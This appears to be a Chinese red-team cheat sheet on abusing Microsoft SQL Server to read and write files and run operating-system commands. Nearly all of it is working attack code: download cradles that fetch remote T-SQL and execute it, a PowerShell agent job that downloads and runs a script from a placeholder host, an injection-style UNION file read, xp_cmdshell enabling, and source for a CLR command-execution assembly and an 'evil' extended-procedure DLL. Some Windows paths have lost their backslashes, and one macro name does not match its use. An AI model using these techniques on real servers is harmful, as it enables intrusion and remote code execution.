SQL Server 读写文件及命令执行

11 months ago

red.ghostwolflab.com

27 minutes

读写文件

BULK下载：

-- Bulk Insert - Download Cradle Example

-- Setup variables
Declare @cmd varchar(8000)

-- Create temp table
CREATE TABLE #file (content nvarchar(4000));

-- Read file into temp table - web server must support propfind
BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';

-- Select contents of file
SELECT @cmd = content FROM #file

-- Display command
SELECT @cmd

-- Run command
EXECUTE(@cmd)

-- Drop the temp table
DROP TABLE #file

OAP第一种方式下载：

-- OLE Automation Procedure - Download Cradle Example
-- Does not require a table, but can't handle larger payloads

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000)

-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt'

-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

-- Call the Open method to setup the HTTP request
EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'

-- Call the Send method to send the HTTP GET request
EXEC @handle=sp_OAMethod @WinHTTP,'Send'

-- Capture the HTTP response content
EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out

-- Destroy the object
EXEC @handle=sp_OADestroy @WinHTTP

-- Display command
SELECT @Command

-- Run command
EXECUTE (@Command)

OAP第二种方式下载：

-- OLE Automation Procedure - Download Cradle Example - Option 2
-- Can handle larger payloads, but requires a table

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @Handle int
DECLARE @Command varchar(8000)

-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt'

-- Create temp table to store downloaded string
CREATE TABLE #text(html text NULL)

-- Setup namespace
EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

-- Call open method to configure HTTP request
EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'

-- Call Send method to send the HTTP request
EXEC @Handle=sp_OAMethod @WinHTTP,'Send'

-- Capture the HTTP response content
INSERT #text(html)
EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText'

-- Destroy the object
EXEC @Handle=sp_OADestroy @WinHTTP

-- Display the commad
SELECT @Command = html from #text
SELECT @Command

-- Run the command
EXECUTE (@Command)

-- Remove temp table
DROP TABLE #text

读取Text：

-- Note: Requires the driver to be installed ahead of time.

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

-- list available providers
EXEC sp_MSset_oledb_prop

-- Read a text file
SELECT * FROM OpenDataSource( 'Microsoft.ACE.OLEDB.12.0','Data Source="c:\temp";Extended properties="Text;hdr=no"')...file#txt

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

BULK 读取文件：

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

BULK 插入：

-- Option 1 - local file
-- Create temp table
CREATE TABLE #file (content nvarchar(4000));

-- Read file into temp table
BULK INSERT #file FROM 'c:\temp\file.txt';

-- Select contents of file
SELECT content FROM #file

-- Option 2 - file via unc path
-- Create temp table
CREATE TABLE #file (content nvarchar(4000));

-- Read file into temp table
BULK INSERT #file FROM '\\127.0.0.1\c$\temp\file.txt';

-- Select contents of file
SELECT content FROM #file

-- Drop temp table
DROP TABLE #file

-- Option 3 - file via webdav path
-- Create temp table
CREATE TABLE #file (content nvarchar(4000));

-- Read file into temp table
BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';

-- Select contents of file
SELECT content FROM #file

-- Drop temp table
DROP TABLE #file

读取XLSX：

-- Note: Requires the driver to be installed ahead of time.

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

-- list available providers
EXEC sp_MSset_oledb_prop

-- Read text file
SELECT * FROM OPENDATASOURCE('Microsoft.ACE.OLEDB.12.0','Data Source=C:\windows\temp\Book1.xlsx;Extended Properties=Excel 8.0')...[Targets$]

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

OpenRowSet：

-- select the contents of a file using openrowset
-- note: ad-hoc queries have to be enabled
-- https://docs.microsoft.com/en-us/sql/t-sql/functions/openrowset-transact-sql

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

-- Read text file
SELECT cast(BulkColumn as varchar(max)) as Document FROM OPENROWSET(BULK N'C:\windows\temp\blah.txt', SINGLE_BLOB) AS Document

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

OpenRowSet 读取 Text 文件：

-- Note: Requires the driver to be installed ahead of time.
-- EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1  -- not required
-- EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1  -- not required
-- EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; -- not required

-- list available providers
EXEC sp_MSset_oledb_prop -- get available providers

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

-- Read text file
SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]')

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

OpenRowSet 读取 XLSX 文件：


-- Requires the driver be installed ahead of time.

-- list available providers
EXEC sp_MSset_oledb_prop -- get available providers

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

-- Read text file from disk
SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=C:\windows\temp\Book1.xlsx;', 'SELECT * FROM [Targets$]')

-- Read text file from unc path
SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=\\server\folder\Book1.xlsx;', 'SELECT * FROM [Targets$]')

-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

BULK写入文件：

-- author: antti rantassari, 2017
-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs

create table #errortable (ignore int)

bulk insert #errortable
from '\\localhost\c$\windows\win.ini' -- or  'c:\windows\system32\win.ni' -- or \\hostanme@SSL\folder\file.ini' 
with
(
fieldterminator=',',
rowterminator='\n',
errorfile='c:\windows\temp\thatjusthappend.txt'
)

drop table #errortable

OpenRowSet 写入 Text 文件：


-- Note: Requires the driver to be installed ahead of time.

-- list available providers
EXEC sp_MSset_oledb_prop -- get available providers

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go
-- Write text file
INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]')
SELECT @@version

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

命令执行

xp_cmdshell：

-- Enable show advanced options
sp_configure 'show advanced options', 1
RECONFIGURE
GO

-- Enable xp_cmdshell
sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO

EXEC xp_cmdshell 'net user'
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

创建PowerShell代理工作：

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

编写CLR dll：

公共语言运行时 (CLR) 程序集作为 .NET DLL（或组） DLL），可以导入到 SQL Server 中。导入后，DLL 方法可以链接到存储过程并通过 TSQL 执行。

编写c:tempcmd_exec.cs文件：

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

查找csc.exe以便编译文件：

Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

使用以下命令编译文件：

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs

将新 DLL 导入 SQL Server（SQL 登录用户需要 sysadmin 权限、CREATE ASSEMBLY 权限或 ALTER ASSEMBLY 权限）：

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;

-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

现在便能够通过“msdb”数据库中的“cmd_exec”存储过程执行操作系统命令：

*如需删除，只需要执行以下代码：

DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

自定义拓展存储过程：

// DllMain.cpp
// Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
// Note: Compile for 32 and 64 
// Manual
//  rundll32 evil32.dll,RunCmd
//  rundll32 evil32.dll,RunPs
//  rundll32 evil64.dll,RunCmd
//  rundll32 evil64.dll,RunPs
// Register DLL in SQL Server Examples
//  sp_addextendedproc 'RunCmd', 'c:\Temp\evil32.dll';
//  sp_addextendedproc 'RunCmd', 'c:\Temp\evil64.dll';
//  sp_addextendedproc 'RunPs', 'c:\Temp\evil32.dll';
//  sp_addextendedproc 'RunPs', 'c:\Temp\evil64.dll';
//  sp_addextendedproc 'RunPs', '\\server\share\evil64.dll';  :) - DLL doesn't need to be hosted on target system's disk 
// Run Command Examples
//  RunCmd "whoami"
//  RunPs "write-output 'Hellow World' | Out-File c:\temp\file.txt"
// Remove Procedures
//  sp_dropextendedproc 'RunCmd';
//  sp_dropextendedproc 'RunPs';
// Todo: https://technet.microsoft.com/en-us/library/aa197372(v=sql.80).aspx

#include "stdafx.h"			//dllmain.cpp : Defines the entry point for the DLL application.
#include "srv.h"			//Must get from C:\Program Files (x86)\Microsoft SQL Server\80\Tools\DevTools\Include            
#include "shellapi.h"		//needed for ShellExecute          
#include "string"			//needed for std:string  

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved){

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	system("echo This is a test. > c:\\Temp\\test_dllmain.txt");
	return 1;
} 

#define RUNCMD_FUNC extern "C" __declspec (dllexport)     
RUNCMD_FUNC int __stdcall RunCmd(const char * Command) {

	// Run OS command with ShellExecute
	ShellExecute(NULL, TEXT("open"), TEXT("cmd"), TEXT(" /C echo This is a test. > c:\\Temp\\test_cmd2.txt"), TEXT(" C:\\ "), SW_SHOW);
	
	// Run OS command with system hard coded
	system("echo This is a test. > c:\\Temp\\test_cmd1.txt");

	// Run OS command with system hard coded from variable
	const char *pdata = "echo This is a test. > c:\\Temp\\test_cmd3.txt";
	system(pdata);

	// Run OS command with system from arg
	system(Command);

	return 1;
}

#define RUNPS_FUNC extern "C" __declspec (dllexport)     
RUNPS_FUNC int __stdcall RunPs(const char * Command) {

	// Run PowerShell command	
	ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
	system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");

	return 1;
}

TSQL 执行系统命令

ActiveX Javascript Agent Job：

USE [msdb]
GO

/****** Object:  Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT]    Script Date: 8/29/2017 11:17:16 AM ******/
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
/****** Object:  JobCategory [[Uncategorized (Local)]]    Script Date: 8/29/2017 11:17:16 AM ******/
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)
DECLARE @user varchar(8000)
SET @user = SYSTEM_USER
EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT', 
		@enabled=1, 
		@notify_level_eventlog=0, 
		@notify_level_email=0, 
		@notify_level_netsend=0, 
		@notify_level_page=0, 
		@delete_level=1, 
		@description=N'No description available.', 
		@category_name=N'[Uncategorized (Local)]', 
		@owner_login_name=@user, @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
/****** Object:  Step [RUN COMMAND - ActiveX: JSCRIPT]    Script Date: 8/29/2017 11:17:16 AM ******/
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT', 
		@step_id=1, 
		@cmdexec_success_code=0, 
		@on_success_action=1, 
		@on_success_step_id=0, 
		@on_fail_action=2, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, @subsystem=N'ActiveScripting', 
		@command=N'function RunCmd()
{
	var objShell = new ActiveXObject("shell.application");
        	objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\blah.txt", "", "open", 0);
 }

RunCmd();
', 
/** alternative option
		@command=N'function RunCmd()
					{
						 var WshShell = new ActiveXObject("WScript.Shell");  
						  var oExec = WshShell.Exec("c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\blah.txt"); 
						  oExec = null; 
						  WshShell = null; 
					 }

					RunCmd();
					', 

**/
		@database_name=N'JavaScript', 
		@flags=0
		--,@proxy_name=N'WinUser1'		
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

GO


use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ;

ActiveX VBScript Agent Job：

USE [msdb]
GO

/****** Object:  Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT]    Script Date: 8/29/2017 10:27:36 AM ******/
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
/****** Object:  JobCategory [[Uncategorized (Local)]]    Script Date: 8/29/2017 10:27:36 AM ******/
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)
DECLARE @user varchar(8000)
SET @user = SYSTEM_USER
EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT', 
		@enabled=1, 
		@notify_level_eventlog=0, 
		@notify_level_email=0, 
		@notify_level_netsend=0, 
		@notify_level_page=0, 
		@delete_level=1, 
		@description=N'No description available.', 
		@category_name=N'[Uncategorized (Local)]', 
		@owner_login_name=@user, @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
/****** Object:  Step [RUN COMMAND - ActiveX: VBSCRIPT]    Script Date: 8/29/2017 10:27:36 AM ******/
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT', 
		@step_id=1, 
		@cmdexec_success_code=0, 
		@on_success_action=1, 
		@on_success_step_id=0, 
		@on_fail_action=2, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, @subsystem=N'ActiveScripting', 
		@command=N'FUNCTION Main()

dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt")
set shell = nothing

END FUNCTION', 
		@database_name=N'VBScript', 
		@flags=0
		--,@proxy_name=N'WinUser1'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

GO

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ;

cmdexec Agent Job：

USE [msdb]
GO

/****** Object:  Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC]    Script Date: 8/29/2017 11:23:50 AM ******/
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
/****** Object:  JobCategory [[Uncategorized (Local)]]    Script Date: 8/29/2017 11:23:50 AM ******/
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)
DECLARE @user varchar(8000)
SET @user = SYSTEM_USER
EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC', 
		@enabled=1, 
		@notify_level_eventlog=0, 
		@notify_level_email=0, 
		@notify_level_netsend=0, 
		@notify_level_page=0, 
		@delete_level=1, 
		@description=N'No description available.', 
		@category_name=N'[Uncategorized (Local)]', 
		@owner_login_name=@user, @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
/****** Object:  Step [RUN COMMAND  - CMDEXEC]    Script Date: 8/29/2017 11:23:50 AM ******/
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND  - CMDEXEC', 
		@step_id=1, 
		@cmdexec_success_code=0, 
		@on_success_action=1, 
		@on_success_step_id=0, 
		@on_fail_action=2, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, @subsystem=N'CmdExec', 
		@command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt', 
		@flags=0
		--,@proxy_name=N'WinUser1'		
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

GO

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ;

Powershell Agent Job：

USE [msdb]
GO

/****** Object:  Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL]    Script Date: 8/29/2017 11:28:39 AM ******/
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
/****** Object:  JobCategory [[Uncategorized (Local)]]    Script Date: 8/29/2017 11:28:39 AM ******/
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)
DECLARE @user varchar(8000)
SET @user = SYSTEM_USER
EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL', 
		@enabled=1, 
		@notify_level_eventlog=0, 
		@notify_level_email=0, 
		@notify_level_netsend=0, 
		@notify_level_page=0, 
		@delete_level=1, 
		@description=N'No description available.', 
		@category_name=N'[Uncategorized (Local)]', 
		@owner_login_name=@user, @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
/****** Object:  Step [RUN COMMAND - POWERHSHELL]    Script Date: 8/29/2017 11:28:39 AM ******/
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL', 
		@step_id=1, 
		@cmdexec_success_code=0, 
		@on_success_action=1, 
		@on_success_step_id=0, 
		@on_fail_action=2, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, @subsystem=N'PowerShell', 
		@command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt', 
		@database_name=N'master', 
		@flags=0
		--,@proxy_name=N'WinUser1'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

GO

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ;

自定义命令 Shell：

# Register xp via local path: sp_addextendedproc 'RunPs', 'c:\myxp.dll'
# Register xp via UNC path: sp_addextendedproc 'RunPs', '\\servername\pathtofile\myxp.dll'
# Run: exec RunPs
# Unregister xp: sp_dropextendedproc 'RunPs'


#include "stdio.h" 
#include "stdafx.h" 
#include "srv.h" 
#include "shellapi.h" 
#include "string" 

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{ 	
	case DLL_PROCESS_ATTACH: 
	case DLL_THREAD_ATTACH: 
	case DLL_THREAD_DETACH: 
	case DLL_PROCESS_DETACH: 
	break; 
}

return 1;
 }

 __declspec(dllexport) ULONG __GetXpVersion() { 
return 1; 
} 

#define RUNCMD_FUNC extern "C" __declspec (dllexport) 
RUNPS_FUNC int __stdcall RunPs(const char * Command) { 
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW); 
system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\""); 
return 1;
}

OLE 自动化对象：

-- This is a TSQL template for executing OS commands through SQL Server using OLE Automation Procedures.

-- Enable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO

-- Enable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO

-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\windows\temp\file.txt"'

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out 
EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\windows\temp\file.txt', 1 
EXEC sp_oamethod @filehandle, 'readall', @FileContents out

SELECT @FileContents
GO

-- Remove temp result file
DECLARE @Shell INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:\windows\temp\file.txt"'
GO

-- Disable Show Advanced Options
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO

-- Disable OLE Automation Procedures
sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO

OpenRowSet：

-- WORK IN PROGRESS
-- Targeting custom DSN via linked query (openquery), openrowset, opendatasource
-- Target xls and mdb variations 
-- May require https://www.microsoft.com/en-us/download/details.aspx?id=13255 on modern version...
-- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go

-- Verify the configuration change
select * from master.sys.configurations where name like '%ad%'

-- Losen restrictions
-- EXEC sp_MSset_oledb_prop
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0'

EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- Errors
EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0'

　
-- Create linked servers
-- Note: xp_dirtree could potentially be used to identify mdb or xls files on the database server
exec sp_addlinkedserver @server='Access_4',
@srvproduct='Access',
@provider='Microsoft.Jet.OLEDB.4.0',
@datasrc='C:\Windows\Temp\SystemIdentity.mdb'

exec sp_addlinkedserver @server='Access_12',
@srvproduct='Access',
@provider='Microsoft.ACE.OLEDB.12.0',
@datasrc='C:\Windows\Temp\SystemIdentity.mdb'

EXEC master.dbo.sp_addlinkedserver @server = N'excelxx', 
@srvproduct=N'Excel', @provider=N'Microsoft.ACE.OLEDB.12.0', 
@datasrc=N'C:\windows\temp\test.xls', @provstr=N'Excel 15.0'

-- List linked servers
select * from master..sysservers

-- Attempt queries
SELECT * from openquery([Access_4],'select 1')
